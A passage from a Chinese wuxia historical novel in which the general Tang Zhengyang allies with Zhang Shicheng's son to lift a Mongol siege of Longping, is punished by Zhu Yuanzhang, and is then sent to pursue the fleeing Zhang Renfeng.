低的四等人南人,幸亏吴王张士诚率众起义,带领江南百姓抗击蒙古,才让我们这些江南百姓,得以休养生息,如今吴王有难,我等就是拼着性命不要,也要上阵帮他杀敌,只要能杀了一个蒙古兵,我就够本了,哪怕杀不了蒙古兵,拼着这条性命,我也要伤了他一只手脚。”唐正阳听罢,和师弟默默无语,很快两人便来到了隆平府,上官英和十万蒙古铁骑,深知兵家之道,所以只围了西门东门和北门,留下南门却是放任不管,这是蒙古兵作战之道围三缺一,一是围点打援,二是故意留着南门让城内的军民逃命,这样城内的军心涣散,蒙古人攻打城池自是手到擒来,但是没想到隆平府二十多万军民,都感念张士诚父子的恩德,同仇敌忾,不但无一人逃逃,而且誓死要战至一兵一卒,唐正阳和师弟进了隆平府,寻了间客栈住下,客栈老板上前招呼道:“两位小哥儿,你们是不是来帮吴王打仗的?”唐正阳道:“是的,是的,我们就是来为吴王效力。”客栈老板道:“小哥儿,那你们住我们客栈,食宿全免,要是需要打磨兵器,我和我家老婆子随时为你们效命。”唐正阳闻言,不由得感到奇怪,道:“老板,你开客栈,将本求利也是应该,为何要食宿全免?是不是吴王下了什么命令?”客栈老板连连摇头道:“不是吴王下了命令,而是我们城中所有商家,一致商定,凡是来为吴王效力的,吃喝穿用我们商家一律免费。”唐正阳和侯成庆,情不自禁的大眼瞪小眼,面面相觑,唐正阳又问客栈老板道:“老板,你们这是为何?”客栈老板道:“我们城中百姓身受吴王和世子大恩,无以为报,现在就是拼着身家性命,也要护得吴王父子周全,钱财本是身外之物,我们年纪大了,不能上阵杀敌,但是总要为那些上阵杀敌的人做些贡献。”唐正阳闻言,不由得若有所思,道:“看来吴王父子平日对百姓真的不薄啊。”客栈老板道:“岂止是不薄,吴王父子对我们江南百姓是恩重如山,把我们从最低贱的南人身份中解脱出来,给我们分田地,免赋税,让我们才有了今天,世子张仁凤更是我们江南第一仁义公子,开办的义善堂,将失去父母的孤儿,收养起来,用心抚养教导,义善堂的近千孤儿,全靠世子抚养。”唐正阳听后,默然不语,回到房间后,和侯成庆商量道:“张士诚张仁凤父子,果然是仁义之主,深受百姓爱戴,如今隆平府形势危急,蒙古人一旦攻破城池,必定会屠尽城中百姓。”说罢,眉头紧锁,长叹了一口气,侯成庆道:“师兄,隆平府二十万多万军民,都是我们汉人,我们怎么忍心让他们惨死在蒙古人的铁骑和弯刀之下。”唐正阳点点头道:“我明日去见张士诚,与他商议,我们两家先齐心协力杀退蒙古人,然后再在战场上决一雌雄。”侯成庆一听,顿时傻了眼,连忙阻拦道:“师兄,我们现在的主力正在和张士诚的兵马在湖州决战,我们现在的关系是敌我双方,你现在去见张士诚,只怕是凶多吉少。”唐正阳道:“想那张士诚张仁凤父子,也是忠厚仁义之人,自然知道民族大义,如今隆平府危急,我等愿意助他一臂之力,杀退蒙古人,张士诚父子,应该不会加害于我。”侯成庆想了想,一咬牙道:“师兄,我明日陪你同去,也好有个照应。”唐正阳点点头,道:“好,若张士诚不明事理,要将我们擒杀,我们也算是舍身求义了。”第二天一早,唐正阳带着师弟,来到张士诚的府邸前,只见张士诚王府前站着很多士兵守卫,唐正阳上前躬身施礼道:“几位兵哥儿,我想拜见吴王,请代为通报。”为首的军士看了看唐正阳和侯成庆,道:“你们是什么人?”我们王爷现在正忙,没有空见你们。”唐正阳道:“我是朱元璋手下前军主将唐正阳,这是我的师弟侯成庆,特来拜见吴王,商谈两军齐力杀敌之事,请兵哥儿速去通报,以免耽误军情。”唐正阳此时在江南一带已是名声大振,几十名士兵一听说是唐正阳,齐齐拔出腰中佩刀,将两人团团围住,唐正阳面不改色道:“诸位兵哥,我两人来此,并无敌意,如今隆平府危急,我们是来商量如何协同作战,共杀外敌。”为首的军士道:“你们在此不许妄动,我现在去禀报王爷。”说罢,转身进了王府,此时的张士诚正和弟弟,儿子,文臣武将在商量如何御敌之事,守门兵丁来报:“启禀王爷,外面有个自称唐正阳的,说是朱元璋的前军主将,前来商量与我们协同作战,共杀蒙古人。”张士诚等人一听,不觉愕然,心想朱元璋的兵马正在湖州和我们决战,怎么突然冒出个唐正阳,要和我们协同作战,共杀蒙古人?张士德道:“大哥,这其中肯定有诈,不必见了,将唐正阳擒拿,好好的严刑审问。”张仁凤在一旁道:“父王,二叔,听说唐正阳原来是西北圣火教教主之子,有万夫不当之勇,手下的五行卫更是攻无不克战无不胜,帮着朱元璋打了不少胜仗,如今他孤身前来,我们先让他进来,问清情况,再做打算。”张士诚考虑片刻,点点头道:“唐正阳孤身前来,没什么可惧怕的,我们让他进来,问清楚什么情况。”军士领命,到了王府门外,领了唐正阳和侯成庆,来到王府议事大厅,唐正阳入得厅中,只见厅中两边,坐着三十多位文臣武将,唐正阳走上前,对着主位的张士诚拱手施礼道:“吴王在上,末将唐正阳这厢有礼了。”张士诚看了看唐正阳,只见这唐正阳,身高八尺左右,气宇非凡,心中也是暗暗赞叹,张士诚问道:“唐正阳,你乃朱元璋前营大将,今日孤身来我隆平府,所为何事?”唐正阳道:“末将率领五万骑兵,驻扎在离隆平府半日行程之处。”此言一出,张士诚等人不由色变,暗暗心惊,唐正阳又道:“末将本来是依从军师刘伯温之计,想等蒙古兵攻破隆平府后,我们在挥军杀入隆平府,坐收渔翁之利。”张士诚道:“不知唐将军为何将如此机密之事告知本王?”唐正阳道:“我们一路之上,听到吴王父子厚待百姓,爱民如子,我们师兄弟来到城中,本意是打听虚实,掌握军情,但见城中百姓,个个都舍了身家性命,也要护得吴王父子周全,我们兄弟二人深受感动,前来效力的老农和客栈的老板都已经五十多岁,都知道共同抵御外辱,抗击异族,我唐正阳身为堂堂七尺男儿,与江南百姓都是炎黄子孙,怎么忍心让隆平府二十多万军民惨死在蒙古人的铁骑弯刀之下,虽然唐某不才,但是也自当为本族民众出一份绵薄之力。”唐正阳知道,张士诚手下谋臣众多,张士诚父子也是聪明绝顶之人,若说了假话,定然会对自己起了疑心,不如开诚布公,将自己心中所想,如实说出,张士诚和手下的文臣武将一个个面面相觑,半信半疑,张士诚道:“唐将军,你所说之事,我如何相信?”现在你们双方正在湖州交战,是敌对的关系,你却说要协助我们杀敌,不由得让人觉得匪夷所思。”唐正阳道:“王爷,我唐正阳以我圣火教历代先祖发誓,若唐正阳所言有虚,定让我万箭穿心,死无葬身之地。”要知道那个年代以先祖发誓的,都是十分慎重和十分严肃的事情,此时张仁凤在一旁已经打量唐正阳多时,只觉得唐正阳气宇轩昂,说话神情,是光明坦荡之人,又见他发下如此重誓,便上前几步,对张士诚道:“父王,我看唐兄气宇轩昂,是一位光明磊落的英雄豪杰,既然愿意相助我们杀敌,请让孩儿与唐兄详细商量,如果谈妥,我们就依唐兄所言,先杀退异族外敌,然后再在战场上决一雌雄。”张士诚心想:“现在蒙古兵来势汹汹,只怕隆平府在这十万蒙古铁骑的攻击下,也撑不了多久,既然唐正阳如此开诚布公,光明磊落的将实情说出,不如就信他一回,先击退蒙古兵马再说。”于是张士诚点点头道:“世子和唐将军,你们将如何协同作战,商量仔细,我们就依唐将军所言,先抵御外辱,然后双方再决雌雄。”张仁凤领命,对唐正阳施礼道:“唐将军,请到我府中详谈。”唐正阳和侯成庆拱手施礼,与张士诚辞别,出了吴王府,张仁凤带着随从,领着唐正阳和侯成庆,来到了世子府,落座上茶后,张仁凤与唐正阳,精心谋划将如何协同作战的事情,安排的详细周密。商量妥当后,唐正阳起身告辞,道:“世子,我现在就出城,两日后一早我会率兵攻打蒙古人,你在城中把握好时机,到时候你我里外夹击,争取击溃蒙古人。”张仁凤也站起身,深深向唐正阳鞠躬行礼道:“唐将军高风亮节,张某佩服。”唐正阳连忙伸手扶着张仁凤道:“张公子侠义无双,唐某也是甚为敬佩。”两人四目相对,刹那间有一种相见恨晚的感觉,唐正阳伸出手掌和张仁凤击掌,道:“唐某告辞。”张仁凤也不多做挽留,将唐正阳和侯成庆送到世子府外,唐正阳和侯成庆翻身上马,驱马出城。第三日上午,蒙古兵马统帅上官英正在命令前军两万人马从西门攻城,忽然探马来报:“启禀大将军,西门三十里大约有五万骑兵,打着朱元璋的旗号,正在快速向隆平府前来。”上官英三十岁左右,面容重枣,狮鼻虎口,身高八尺开外,膀大腰圆,历经百战,心中早有安排,冷冷一笑道:“看来朱元璋是想趁我们和张士诚交战,想来夹击我们。”于是上官英道:“左军主将包尔吉何在?”左军主将包尔吉上前几步,施礼道:“大将军,末将听令。”上官英道:“你率本部两万兵马,准备应敌。”左军主将包尔吉出了营帐,领着本部兵马准备迎敌,半个时辰左右,只见远处尘土飞扬,已是大队骑兵将至,包尔吉令旗挥动,手下蒙古骑兵立刻从两翼包抄过去,功夫不大,已与唐正阳的骑兵遭遇,两千五行卫,拉开强弓,开始发出连环箭,蒙古兵靠着就是弓马得天下,也纷纷开始还击,双方越来越近,唐正阳身后五万骑兵,也开始射箭还击蒙古人,双方人马不断有人中箭倒下,功夫不大,双方已经遭遇,举起武器短兵相接,相互砍杀,数万蒙古铁骑,在弓箭上是略占上风,但是双方肉搏,便落了下风,唐正阳和侯成庆邓愈等人,奋力拼杀,身后的两千五行卫,更是如狼似虎,恰似水银泻地,秋风扫叶一般,所到之处锐不可当势如破竹,上官英在后面看的清楚,见左营将士已经吸引对方主力,于是将令旗一挥,命令右军的两万人马开始行动,试图从侧边绕行到唐正阳骑兵的后方,从后方夹击唐正阳等人,张仁凤在城墙上看得明白,见时机已经成熟,立刻吹响号角,大队人马从西门蜂拥而出,和唐正阳里应外合,夹击蒙古军队,上官英挥动帅旗,命后军两万骑兵相助前军,去迎击张仁凤,自己亲率两万中军,杀向唐正阳部队,三方兵马杀做一团,陷入苦战,上官英见唐正阳和两千五行卫势不可挡所向披靡,所到之处,自己手下将士死伤惨重,于是连忙率领三千亲兵向唐正阳和五行卫杀去,上官英手中玄铁乾坤双戟,左右挥舞,上下翻飞,左挑右刺,转眼之间,已有十几名五行卫被斩落马下,唐正阳见状,连忙驱动战马上前,挥舞手中雁翎斩魔刀,与上官英战做一团,两个人你来我往,战了数十回合,不分胜负,两人从马上跌落马下,站起身又开始厮杀,唐正阳使出圣火教镇教绝技斩魔刀法,青云直上,碧落黄泉,千刀不尽,三刀破极,刀击长空,开地辟地,乾坤挪移,神魔殊途,百魔归位众多绝招,手中钢刀如神龙出水,饿虎下山,苍鹰扑兔,狸猫戏鼠,上官英不慌不忙,手中双戟左遮右挡,前刺后划,施展家传乾坤戟法沉着应战,这乾坤戟法源自于西楚霸王项羽所创的霸王戟法,霸王戟法分为七招四十九式,这七招分别被称为:“诛仙灭魂,杀神破碎,降妖绝影,伏魔乱舞,斩鬼天下,霸气纵横,吞天灭地。”每一招都包含了七个变化,神鬼莫测威力惊人,后来传到三国著名大将吕布手中,吕布又进行改进,增加了石破天惊,霸王卸甲,后羿射日,盘古开天,共十一招七十七式,吕布将此套戟法更名为乾坤戟,吕布依仗这乾坤戟法,纵横沙场名震天下,后来上官世家祖辈有幸得到此戟法,视若珍宝,作为家传至宝传于后人,二人又战了上百回合,上官英越战越勇,唐正阳似是力气不支,手中雁翎斩魔刀招式已经凌乱,上官英心中暗喜,手中玄铁乾坤双戟如狂风暴雨一般,招招夺命,式式追魂,上下翻飞左右盘旋,不离唐正阳要害,只见唐正阳步伐已经踉跄,虚晃一招,转身便跑,上官英怎肯放过,疾步如风,上前追赶,不料唐正阳使得却是诱敌之计,一个转身回旋,腰腹双臂同时发力,将手中的雁翎斩魔刀用力飞出,雁翎斩魔刀被唐正阳内力注满,嗡嗡作响,带着风雷之声袭向上官英,这正是圣火教镇教之宝,斩魔刀法中的绝招之一:回刀斩魔。上官英一见刀势凶猛,似有千钧之力,心中暗道不好,但是此时再想闪避已是不及,于是把心一横,咬紧牙关,举起手中的玄铁乾坤双戟,使出全身之力,使出一招佛光普照,来挡唐正阳的雷霆一击,只见唐正阳刀一出手,身影随行,快似闪电,施展八步赶蝉轻功,电光火石间已到上官英身旁,将内力凝聚手掌,铁掌击出,正中上官英肋部,上官英躲闪不及,霎时感觉到肋部如同被巨锤击打了一般,一阵剧痛,一口鲜血吐出,上官英腾腾腾连退几步,手中双戟挥舞如风,一招八方风雨,护住身形,唐正阳一招得手,不敢大意,迅速从腰中抽出九节锁龙鞭,劈头盖脸砸向上官英,上官英身受重伤,反应稍慢,一招不慎,被唐正阳手中九节锁龙鞭抽中肩膀,只感觉到肩疼欲碎,上官英心想:“再不逃命,只怕就要命丧当场。”想到这,上官英虚晃一招,拼尽全身之力,几个健步冲向身边的一名五行卫,跃起身形,一戟将那名五行卫挑落马下,自己跃上马背,手中长戟一挥,击向战马屁股,战马吃疼,驮着上官英如离弦之箭疾驰而去。上官英这几个动作一气呵成,如行云流水一般,唐正阳再想追击,已经来不及了,于是凝神运气,施展圣火教中的神吼功,大声吼道:“上官英已经逃命,降者不杀。”在千军万马厮杀声中,唐正阳的声音却是如雷贯耳,传到每一个士兵的耳中,蒙古骑兵骁勇善战,本来还在死拼不退浴血奋战,耳中却传来上官英败逃的消息,不禁心神大乱,一个个无心恋战,回马便逃,唐正阳喝令继续追击,手下骑兵,与张仁凤所率兵马一路追杀,此次战役,足足厮杀了半天时间,双方都是死伤惨重,阵亡士兵的尸体堆积如山,断刀折枪,死马残旗,绵延十几里,唐正阳手下将士,死伤了一两万,张仁凤所率兵马也死伤了近两万,但是十万蒙古铁骑被斩杀了七八万,元朝的最后一支精锐之师,已经分崩离析,唐正阳率领人马追到城外足足三十里地时,唐正阳命令鸣金收兵,张仁凤见状,也随即下令鸣金收兵,张仁凤独自一人驱马来到唐正阳跟前,在马上对唐正阳拱手施礼道:“唐兄,今日感谢援手,解我隆平府之围,大恩大德,张某铭记在心,日后若有机会,定当报答。”唐正阳也拱手回礼道:“张兄客气了,你我本是炎黄子孙,共击异族,抵御外辱,是每一个炎黄子孙的应尽之责,唐某只是做了份内之事。”张仁凤犹豫片刻,道:“唐兄,在下有个不情之请,恳请唐兄允准。”唐正阳道:“张兄请讲。”张仁凤道:“隆平府中数十万军民,粮草已经不多。”唐兄能不能开恩,将蒙古人留下的粮草分我们一半?”唐正阳闻言,不由得一愣,心中虽然感觉不妥,但是转念一想:“今日的大捷乃是和张仁凤所率部队共同取得,张仁凤也是身先士卒,带领手下兵将浴血奋战置生死于度外,张仁凤手下将士也死伤过万,现在的战利品如果自己全得,明显有违道义。”于是道:“张兄,今日取胜,乃你我双方将士共同血战取得,战利品自然一方一半。”张仁凤在开口时,心中也是犹豫万分,但因城中粮草不足,只能厚着脸皮向唐正阳开口,见唐正阳答应,心中自是感激万分,再次拱手施礼道:“唐兄高义,张某万分敬仰。”于是,两人带领部下兵将来到蒙古人的营地,此时蒙古人的营地已经空无一人。”唐正阳命令侯成庆和张仁凤的手下将蒙古人丢下的粮草,器械,马匹分作两份,双方各取一份,邓愈在一旁,心中感觉大大不妥,虽然想出言阻止,但是见唐正阳已经决定,也不敢多说,唐正阳对张仁凤道:“张兄,此役过后,你我战场相遇,便不再留情,请张兄包涵。”张仁凤豪爽一笑道:“今 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生今世我张某能与唐兄相识,已经感觉是上苍对我的眷顾,就算有朝一日败在唐兄这样的大英雄,大豪杰手下,张某虽死无憾。”双方就此别过,张仁凤率领将士将分得的粮草马匹器械运回隆平府,唐正阳也率众人携带剩下物资在城外三十里铺扎营,张仁凤回到城中,城中居民见取得如此大捷,都是士气高涨欢欣鼓舞。过了两日,张士诚召集众人到王府商议军事,张士德道:“大哥,如今朱元璋还在湖州和吕将军交战,我听探子来报,唐正阳所率部队,就驻扎在城外的五十里铺,他们现在孤军无援,再加上他们刚刚和蒙古骑兵厮杀,伤亡惨重,我们趁朱元璋还未到来之际,倾尽全城之兵,将唐正阳所部剩余的三万多骑兵一举剿灭,大哥意下如何?”张士诚素来仁义,听得此言,不由得眉头紧锁,心中犹豫不决,张仁凤上前两步道:“父王,二叔此言差矣,唐正阳本可趁我们破城之时,再行杀出,到时候尽收渔翁之利,但唐正阳念在大家都是炎黄子孙,华夏儿女,不但没有趁火打劫,反而伸出援助之手,帮我们击退蒙古十万铁骑,免了隆平府屠城之祸,如此大仁大义的英雄,我们怎能趁人之危,我宁可在战场,一刀一枪与唐正阳对阵,也不愿意行此等被天下人唾弃之事。”张士诚闻言,点点头,道:“世子所言极是,唐正阳乃世间罕见的仁义志士,此次领兵前来,不但没有趁火打劫,反而念在大家都是炎黄子孙的情份上,施以援手,解救隆平府数十万军民于水火之中,我们现在若是趁他孤军无援,前去剿杀,纵然得逞,也会被天下人耻笑唾弃,二弟无需多言,你们多为即将而来的大战做好准备。”张士德闻言,脸上一副不服的神情,但是也不敢再说什么,张仁凤和父亲又商量了如何守城之事后,到了下午时分,张仁凤备好酒肉,带着几名随从驱马来到唐正阳军营,此时的唐正阳正和邓愈,侯成庆在营中议事,邓愈也在担心,张士诚会不会趁咱们死伤惨重孤军无援之时领兵来犯,唐正阳道:“我和张公子一见如故,相信他是一位仁义志士,此等行径,我相信他万万做不出来。”邓愈道:“将军,害人之心不可有,防人之心不可无,我们还是做好准备,以防万一。”唐正阳思索片刻后,道:“好,你和我师弟,带领将士们做好防备,有备无患。”正在此时,忽听营帐外有兵丁来报:“启禀大将军,吴王世子张仁凤一行十几人,带着许多酒肉在军营外求见。”唐正阳看了看邓愈道:“邓将军,你去安排将士们做事,我和张公子见个面。”邓愈告退后,唐正阳命人将张仁凤等人请入营帐之中,落座后,张仁凤命人献上酒菜,侯成庆看着张仁凤带来的酒菜,禁不住心中忐忑惴惴不安,对着唐正阳连使眼色,唐正阳却视若无睹,和张仁凤谈笑风生,张仁凤何等人物,已经将侯成庆神情动作尽收眼底,命人献上银制碗筷,与唐正阳举杯畅饮把酒言欢,酒到三巡菜过五味,张仁凤对随从道:“你们先到营帐外等候,我有几句话要和唐将军密谈。”张仁凤随从人员退出后,侯成庆看了看唐正阳,道:“师兄,我要不要也出去?”唐正阳一摆手,道:“张兄,我师弟从小是我父亲抚养长大,如同我亲弟弟一般,他就不用出去了。”侯成庆闻言,情不自禁的眼圈一红,心中大为感动,张仁凤道:“侯成庆兄弟与唐兄情深义重,自然不用出去。”唐正阳道:“张兄,有话请讲。”张仁凤道:“唐兄,据我所知,你与朱元璋是至亲,朱元璋的夫人是你的亲姨母。”唐正阳点点头道:“正是。”张仁凤道:“我与唐兄一见如故,有几句肺腑之言,想说给唐兄一听,如有说错之处,请唐兄勿怪。”唐正阳道:“张兄请讲。”张仁凤道:“前几年我曾去应天府,与朱元璋见过一面,我曾习得相面之术,朱元璋行事果断,雄才大略,普天之下,难寻对手,但朱元璋此人鹰视狼顾,只可共患难不可共富贵,日后必定鸟尽弓藏,兔死狗烹,唐兄乃是一感性之人,为人处世,仁义为先,心不够狠,手不够辣,还是远离朱元璋为好。”唐正阳沉默良久。”脑海中浮现父亲临终时的遗言,叹口气道:“张兄,打败陈友谅后,我便想着带着教中五行卫回转西北,不再管中原的战事,但无奈我的姨母,苦苦挽留,说我父母双亡,无依无靠,她要将我留在身边,日后我姨父若能大功告成,必定封我个王侯,我虽无心功名,但却不忍伤了姨母之心,只好留在军中,继续效力,大大小小数十战,我带来的两千教中五行卫兄弟,也已折损了四百余人,此次我们两军合力,已将元朝最精锐的铁骑剿灭,日后若是我姨父挥军北伐,也必然可以一马平川势如破竹,再说我与张兄一见如故,相逢恨晚,又怎忍心与张兄战场厮杀,待到我姨父率军前来,我便交出兵权,解甲归田,率领教中兄弟回转圣火教,从此再也不过问中原之事。”张仁凤闻言,点点头道:“唐兄远见,视功名厚禄如粪土,张某佩服,待到此地战事已了,我定去西北拜见唐兄,张某告辞。”唐正阳和侯成庆送别张仁凤一行人后,便在军中守候,邓愈却是不敢松懈,督促全军做好工事防备,以备万一。十几日后,朱元璋攻破湖州,立刻挥师东进,率大军来到唐晟等人军营处,唐正阳带领邓愈和侯成庆前去迎接,朱元璋率领众人进了营帐,文臣武将侍立两旁,朱元璋居中落座后,面沉似水,厉声问道:“唐正阳,你可知罪?”唐正阳低头道:“末将有罪。”朱元璋道:“有罪?你这可是里通外敌的死罪,岂是你一句轻飘飘的一句有罪所能推脱的?”唐正阳道:“末将虽然行事不妥,但是里通外敌是没有的,请大帅明察。”朱元璋厉声道:“你与张仁凤合力作战,又将蒙古人的粮草器械给了一半给张仁凤,这不是里通外敌是什么?来人那,将唐正阳拿下,推到辕门外斩首。”此言一出,身旁的徐达,常遇春,邓愈,刘伯温等人都大惊失色,连忙上前求情,徐达常遇春道:“末将愿以身家性命担保,唐将军绝无里通外敌之事,只是年纪尚轻,行事多有不妥,请大帅加以教诲即可。”刘伯温道:“大帅,唐将军虽然没有按照计策行事,但此举我却认为有两大好处。”朱元璋阴沉着脸,看了看徐达和常遇春,又看了看刘伯温,道:“有什么好处?军师明言。”刘伯温道:“第一:唐将军虽然没有按照计策行事,坐收渔翁之利,但唐将军行事光明磊落,在民族大义面前,伸出援手,帮助张士诚击垮了元朝最后一支精锐之师,日后我们北伐必定势如破竹,事半功倍,第二,唐将军此举,是大仁大义之事,江南百姓得知后,必夸大帅兵马是仁义王师,对收揽江南民心至关重要,所以唐将军虽有小错,但有大功。”朱元璋沉思良久,开口道:“死罪可免活罪难逃,将唐正阳关禁闭一个月,以示惩戒。”其实朱元璋心中也清楚唐正阳没有里通外敌,也承认刘伯温所言有些道理,但朱元璋此时的心中对唐正阳已经有了猜忌之心,担心唐正阳军功太盛,威名太大,担心有尾大不掉之势,所以借机将唐正阳关了一个月禁闭,让他在攻打隆平府之战中,难以建立功勋。唐正阳本来是想等朱元璋安营扎寨后,便向朱元璋辞行,但见朱元璋怒气冲天,便就不敢提起,心中暗想:“等我禁闭结束后,姨父心中怒火熄灭,我再找个时机向他辞行不迟,现在姨父正在气头上,我就不触这个霉头了。”想到这,唐正阳拱手施礼道:“谢大帅恩典,末将告退。”于是唐正阳便随着军士来到禁闭室,接受一个月的禁闭处罚。朱元璋休整几日后,便命令大军开始攻城,隆平府城墙高大,军民一心,再加上新得了蒙古人的大量马匹,粮草,器械,士气也是高涨,但无奈朱元璋手下兵多将广,此次又带了三十万兵马,城中守军寡不敌众,守城半个多月,也是死伤惨重。这日夜晚,朱元璋正在营帐中休息,忽听见军营中大乱,朱元璋心中大惊,连忙派侍卫前去打探,功夫不大,侍卫回来禀报,道:“大帅,刚才不知道从哪里冒出几百名骑兵,踏营而过,冲入了隆平府。”朱元璋一听,心中暗中思量:“隆平府现在已是孤城,这几百骑兵从何而来?这几百人竟然轻易从我几十万大军军营中踏营而过,莫非是什么厉害角色?”想到这,朱元璋睡不着了,让侍卫通知徐达,常遇春,邓愈,刘伯温等人来帐中议事,众将七嘴八舌都在探讨这几百人从何而来,刘伯温道:“大帅,刚才我来之前,详细问了兵丁,不少兵丁道,为首之人是一个十三四岁的少年,所持兵器是一柄月牙伏魔杖,如果我猜的没错,这定是张仁凤的师兄青面狮王定国,金毛犼李安邦,还有他的小师弟金翅大鹏叶天羽,他们所率的几百人定然是王定国等人的手下,西湖会十三太保和西湖会的子弟。”朱元璋听了,眉头紧锁,道:“我原以为,青面狮金毛犼金翅大鹏已与张士诚父子恩断义绝,想不到在这紧要关头,这三人竟率人前来营救,看来攻打隆平府又要大费周折。”常遇春上前一步道:“大帅不必忧虑,隆平府中已是强弩之末,纵然王定国等人有些能耐手段,但我们有三十万大军,他们这是螳臂挡车,自不量力。”徐达也上前道:“常将军所言极是,大帅不必忧虑,我们只要严防死守,不让张士诚父子突围,纵然灵隐四杰武艺高强,但也无力回天。”朱元璋听了,心中略感轻松,当即下令:四面围城,绝不能让张士诚突围。两日后一大早,探子来报:“大帅,张士诚亲自率领手下亲卫十条龙,约三万多人,正出了北门,想要突围。”朱元璋一听,连忙问道:“你可探的明白,是不是张士诚本人?”探子道:“我探得清楚,张士诚率领他的两个兄弟,有三万十条龙禁军护卫,正想突围。”朱元璋连忙下令:“命徐达,常遇春,邓愈等人率本部兵马极速支援北门,务必困住张士诚。”然后朱元璋又带领数千亲兵,亲自去北门督战,朱元璋在后方高台之上看的清楚,正是张士诚三兄弟带着手下十条龙亲兵卫队,双方兵马正在厮杀,这十条龙是张士诚精心打造的精锐亲兵,个个骁勇善战,与朱元璋的大军战作一团,朱元璋连连传令:三军用力,务必拦下张士诚,胆敢后退者,杀无赦!!!”正在双方激战之时,又有探马急匆匆来报,道:“大帅,大事不好。”朱元璋眉头一皱,不悦道:“何事如此惊慌?”探子道:“大帅,张士诚之子张仁凤趁我们大军在北门和张士诚激战,领着近千人马冲出南门,将士们抵挡不住,已经被他突围逃去。”朱元璋闻言,顿时明白自己是中了张士诚的调虎离山之计,连忙让军士找来刘伯温,道:“军师,刚才探子来报,张仁凤带着近千人马已经从南门突围逃窜,军师有何高见?”刘伯温道:“大帅莫急,我们现在应该派出一名大将,率领精锐骑兵,全速追击,捉拿张仁凤。”朱元璋道:“军师,你看派谁领兵前去为好?”刘伯温沉思片刻,道:“大帅,灵隐四杰,个个本领非凡,手下西湖会等人也都是武艺高强之人,我军之中能与之一战的唯有唐正阳唐将军,请大帅即刻下令,派唐正阳将军率兵前去追击。”朱元璋一听,眉头一皱,心中实在有些不情愿,但也知道,刘伯温之言属实,于是立刻命令传令兵传唐正阳来见。 10. 第 10 章 第十章:义释三杰 唐正阳正在禁闭室,传令兵前去传话,命他立刻前去见朱元璋,唐正阳跟着传令兵来到朱元璋面前,拱手施礼道:“末将参见大帅。”朱元璋看了看唐正阳道:“唐正阳,张士诚父子颇为狡诈,现在张士诚在北门吸引我们主力,张仁凤却带着近千人马从南门突围而去,我现在命你带着手下的五行卫和邓愈等人,率一万精兵前去追杀。”唐正阳闻听此言,不禁一愣,正在思索如何推脱此事,朱元璋却不给他任何考虑的时间,直接道:“唐正阳,你上次犯了重罪,众人求情,我才免你一死,这次去追击张仁凤,一定活要见人死要见尸,其他人逃走都无关紧要,但张仁凤是万万不可放过,你速速点齐人马,按令行事。”唐正阳见事已至此,也不敢违抗军令,只好拱手施礼道:“末将领令。”朱元璋道:“来人啊,拿来笔墨,让唐正阳立下军令状,如果不能擒获张仁凤,就提头来见。”唐正阳虽然心中纠结,但事已至此,也无话可说,只好签了军令状,然后回营召集五行卫,带着邓愈侯成庆和一万精兵去追击张仁凤。再说张仁凤师兄弟四人,率领西湖会众人,本来出城逃命,并非一件难事,但是张仁凤心存仁义,担心破城之时,义善堂的近千名孤儿会惨遭不幸,所以将义善堂的近千名孤儿带上,他自己背着两岁的儿子张敬贤,所带得三百亲兵随从,和王定国等人及西湖会的几百兄弟,近千人马,人人背后都背负着一名幼儿,大的也就五六岁,小的才两三岁,一马两人,再加上路上还要喂食水粮给这些孤儿,所以行军速度变慢,虽然唐正阳耽搁了一些时间,但是人人双马,快马加鞭追了一天后,已经看到张仁凤等人的背影,邓愈心中欣喜,对唐正阳道:“大将军,他们现在亡命逃窜,后背对着我们,我们快速追上,等他们进入五行卫弓箭射程之内,立马命令五行卫开弓放箭,先把他们大部分人射死,剩下的灵隐四杰虽然武艺高超,但我们一万多人,定可将他们一网打尽。”唐正阳闻言,却面无表情,凝神静气气沉丹田,使出神吼功,大声吼道:“张兄,请留步,如若不然,我们就要放箭了。”张仁凤眼见背后尘土飞扬,知道有大批人马前来追击,正在焦急思索对策之时,耳旁传来唐正阳的声音,张仁凤久经沙场,自是知道,自己若是继续向前,唐正阳只须命手下将士在身后大批弓箭射来,恐怕己方都难以活命,于是便大声喊道:“大家止步。”随行人等慢慢的勒住战马,调转马头,静候唐正阳到来,功夫不大,唐正阳等人已追到面前,唐正阳下令将士勒住战马,双方形成对峙之势,唐正阳一抱拳,道:“张兄,我奉大帅之命,前来追赶你们,军令在身,不敢有违,请张兄不要见怪。”张仁凤看着唐正阳身后的五行卫和上万精兵,内心情不自禁的暗暗吃惊,心中暗想:“恐怕这次凶多吉少,众人都要命丧于此。”正在此时,大师兄青面狮王定国在一旁大声道:“唐正阳,我乃灵隐寺无尘禅师门下王定国,你本是圣火教教主,乃是武林人士,而我灵隐寺也是武林门派,我们今日就以武林决斗的方式,双方各出一人比拼,如果我们输了,我们束手就擒,任由你们处置,如果我们赢了,请唐教主不能再为难我们。”唐正阳闻言,思索片刻,道:“王兄,若是以江湖方式比斗,你定会派出你的师弟金翅大鹏叶天羽与我交手,是不是?”王定国点点头,道:“唐教主所言正是,你若是能胜得过我师弟叶天羽,我等自当束手就擒,任由你们处置。”唐正阳默然片刻,道:“金翅大鹏叶天羽得了令师尊无尘禅师的天罡纯阳神功,内力武功,已经天下第一,唐某自认不是他的对手,圣火教和灵隐寺虽然都是武林门派,但我们现在是行军打仗,不是江湖比武,我来之前,我们大帅命令我立下军令状,务必要擒获张仁凤张公子,活要见人死要见尸,如果有任何差错,唐某需提头去见大帅,所以唐某不能以江湖决斗的方式应战,请诸位莫怪。”王定国闻言,怒目圆睁,厉声道:“唐教主的意思就是要恃强凌弱,以众欺寡。”唐正阳神色黯然道:“唐某军令在身,实在是有不得已的苦衷,请诸位见谅。”王定国呵呵一阵冷笑,厉声道:“既然唐教主不讲武林规矩,那么就别怪我等也不讲江湖道义了,二弟三弟四弟,等会我们双方交战时,我们四人联手先杀了唐正阳,再与圣火教五行卫殊死搏杀决一死战,大丈夫死则死尔,我们先拿唐正阳做个垫背。”此言一出,邓愈侯成庆和身后的五行卫不禁大惊失色,心中暗想:“金翅大鹏已经天下无敌,如果灵隐四杰联手一击,普天之下谁能抵挡?”唐正阳却面不改色,淡然道:“唐某军令在身,纵然今日命丧于此,也是命中注定,我若留不住张公子,回去也是一死,男子汉大丈夫死则死尔,不如战死在沙场上为好。”此时邓愈心乱如麻,暗暗叫苦,心中暗想:“金翅大鹏已经天下无敌,如果灵隐四杰联手一击,,唐正阳定然难逃一死,唐正阳若是有什么三长两短,马夫人定然不会放过我,我也是难逃一死。”侯成庆心想:“朱元璋真是狠毒,逼得我师兄立下